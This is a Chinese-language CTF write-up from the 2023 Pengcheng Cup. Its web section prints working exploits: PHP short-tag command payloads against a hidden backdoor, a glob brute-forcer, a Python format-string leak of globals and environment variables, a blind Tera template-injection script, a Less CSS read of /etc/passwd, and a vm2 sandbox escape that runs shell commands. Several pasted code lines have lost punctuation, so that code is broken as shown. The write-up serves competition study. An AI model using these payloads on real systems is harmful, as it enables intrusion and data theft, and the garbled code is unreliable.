2023鹏城杯 writeup by Mini-Venom

百家 作者:Chamd5安全团队 2023-11-08 19:09:05

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

admin@chamd5.org(带上简历和想加入的小组

Web

web2

源码有提示

<!-- backdoor_[a-f0-9]{16}.php -->

通过glob进行爆破
backdoor_00fbc51dcdf9eef767597fd26119a894.php

<?php
highlight_file(__FILE__);
error_reporting(0);

if(isset($_GET['username'])){
    $sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
    mkdir($sandbox);
    chdir($sandbox);
    
    if(isset($_GET['title'])&&isset($_GET['data'])){
        $data = $_GET['data'];
        $title= $_GET['title'];
        if (strlen($data)>5||strlen($title)>3){
            die("no!no!no!");
        }
        file_put_contents($sandbox.$title,$data);

        if (strlen(file_get_contents($title)) <= 10) {
            system('php '.$sandbox.$title);
        }
        else{
            system('rm '.$sandbox.$title);
            die("no!no!no!");
        }

    }
    else if (isset($_GET['reset'])) {
        system('/bin/rm -rf ' . $sandbox);
    }
}
?>

http://172.10.0.5/backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=x&title=cat&data[]=%3C%3F%3D%60*%20%2F*%60%3B
数组绕+简短php

import requests

words = "abcdef0123456789"

burp0_url = "http://172.10.0.5:80/"
match_pattern = "glob://backdoor_"
for i in range(32):
    for k in words:
        match_pattern_tmp = match_pattern
        match_pattern_tmp += k + "*.php"
        burp0_data = {"filename": match_pattern_tmp}
        result = requests.post(burp0_url, data=burp0_data)
        if "yes" in result.text:
            match_pattern += k
            break
        else:
            continue
    print(match_pattern)

# glob://backdoor_00fbc51dcdf9eef767597fd26119a894.php

"""
GET /backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=jack&title[]=xxx&data[]=<?=`cat+/flag`?>
"
""

flag{aa03a3c1-da05-4637-8b42-a8686aaf15bc}

web-escape

from sqlite3 import *

from random import choice
from hashlib import sha512

from flask import Flask, request, Response
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["50000 per hour"],
    storage_uri="memory://",
)

salt = b'****************'


class PassHash(str):
    def __str__(self):
        return sha512(salt + self.encode()).hexdigest()

    def __repr__(self):
        return sha512(salt + self.encode()).hexdigest()


con = connect("users.db")
cur = con.cursor()
cur.execute("DROP TABLE IF EXISTS users")
cur.execute("CREATE TABLE users(usernamepasshash)")
passhash = PassHash(''.join(choice("0123456789") for _ in range(16)))
cur.execute(
    "INSERT INTO users VALUES (?, ?)",
    ("admin", str(passhash))
)
con.commit()


@app.route('/source')
@limiter.limit("1/second")
def source():
    return Response(open(__file__).read(), mimetype="text/plain")


@app.route('/')
@limiter.limit("3/second")
def index():
    if 'usernamenot in request.args or 'passwordnot in request.args:
        return open("index.html").read()
    else:
        username = request.args["username"]
        new_pwd = PassHash(request.args["password"])
        con = connect("users.db")
        cur = con.cursor()
        res = cur.execute(
            "SELECT * from users WHERE username = ? AND passhash = ?",
            (usernamestr(new_pwd))
        )
        if res.fetchone():
            return open("secret.html").read()
        return ("Sorrywe couldn't find a user '
{user}' with password hash <code>{{passhash}}</code>!"
                .format(user=username)
                .format(passhash=new_pwd)
                )


if __name__ == "__main__":
    app.run('
0.0.0.0', 10000)

sha512(salt)=ab160ee04d42a11490dba0abbdcdfcb5d36dd9cb06ee5115d8623c21b06abe7575abfcee2d754424be5bb0e81d037588539441073253f5a35132cb48f08e8f6c
原题
https://github.com/noflowpls101/CTFS_2023/blob/a78e5f759304a01415cb6b1f5113c2384b353e7f/ImaginaryCTF_2023/Web_Helpful/server.py

?username={passhash.str.globals}&password=123

salt:****************
passhash:72539d8e08a6d54ab659846b0c63cd3845a0dfd64f28f382b6746d37ea928c7adf48c8a49ddb33346f1c347223f4aae282e1111b7385f15fc9c99dcb5f9960bb

官网的原题 直接打就行

{passhash.__str__.__globals__[app].wsgi_app.__globals__[os].environ}

Web-Tera

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : 
# @Time    : 2023/11/4 11:05
# @File    : Web-Tera.py
# @annotation    :
import requests

burp0_url = "http://172.10.0.3:8081/"
char_dict = "{-abcdefghijklmnopqrstuvwxyz0123456789}"
flag_string = ""

while True:
    for i in char_dict:
        single_char = flag_string + i
        burp0_data = '''{% set a = "fla" %}
{% set a = "fla" ~ "g" %}
{% set b = get_env(name=a) %}
{% if b is starting_with(a~"TBD_FLAG") %}
    True
{% endif %}'''

        burp0_data = burp0_data.replace("TBD_FLAG", single_char)
        result = requests.post(burp0_url, data=burp0_data, proxies={'http''http://127.0.0.1:8080'}).text
        if "True" in result:
            flag_string += i
            print(flag_string)
            break

rpc

.test {
  contentdata-uri('/etc/passwd');
}

Less css任意文件读,读grpc服务端
eval.proto

syntax = "proto3";
package helloworld;
service Demo {
    rpc evalTemplate (TemplateRequest) returns (Reply) {};
}

message TemplateRequest {
    string template = 1;
}

message Reply {
    string message = 1;
}

rpc服务端


var PROTO_PATH = __dirname + '/eval.proto';
const {VM} = require("vm2");
var grpc = require('@grpc/grpc-js');
var protoLoader = require('@grpc/proto-loader');
var packageDefinition = protoLoader.loadSync(
    PROTO_PATH,
    {
        keepCase: true,
        longs: String,
        enums: String,
        defaults: true,
        oneofs: true
    });
var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;

function evalTemplate(call, callback) {
    const vm = new VM();
    callback(null, {message: vm.run(call.request.template) });
}

function main() {
    var server = new grpc.Server();
    server.addService(hello_proto.Demo.service, {evalTemplate: evalTemplate});
    server.bindAsync('0.0.0.0:8082', grpc.ServerCredentials.createInsecure(), () => {
    server.start();
 });
}
main()

编写客户端直接打vm2即可

var PROTO_PATH = './eval.proto';
var grpc = require('@grpc/grpc-js');
var protoLoader = require('@grpc/proto-loader');
var packageDefinition = protoLoader.loadSync(PROTO_PATH,{
        keepCase: true,
        longs: String,
        enums: String,
        defaults: true,
        oneofs: true
    });
var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;

function main() {
    var client = new hello_proto.Demo('172.10.0.6:8082', grpc.credentials.createInsecure())
    client.evalTemplate({ template: 'const err = new Error(); err.name = { toString: new Proxy(() => "", {apply(target, thiz, args) { const process = args.constructor.constructor("return process")(); throw process.mainModule.require("child_process").execSync("/readflag").toString();},}), };try { err.stack; } catch (stdout) {stdout; }' }, function(err, response) {
        if (err) {
            console.error('Error: ', err)
        } else {
            console.log(response.message)
        }
    })
}

main()

WEB1

<?php
class H
{
    public $username;
    public function __destruct()
    
{
        $this->welcome();

    }
    public  function welcome()
    
{
        echo "welcome~ ".$this->username;
    }
}

class Hacker{

}

$h=new H();
$h->username = new Hacker();
echo serialize($h);

Reverse

安全编程


黑盒测试,对png头盲猜单字节异或,cyber爆破一下异或字节0x80,打开图片就行
flag{d846b8394630f42e02fef698a4e3df1b}

Misc

我的壁纸

Binwalk

snow隐写,the password of snow is: snowday
f86361842eb8}
图片属性:passwd_is_7hR@1nB0w$&8;
然后steghide flag{b921323f-
Wav 是robot36隐写

eaa2-4d62-ace6-
flag{b921323f-eaa2-4d62-

- END -



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接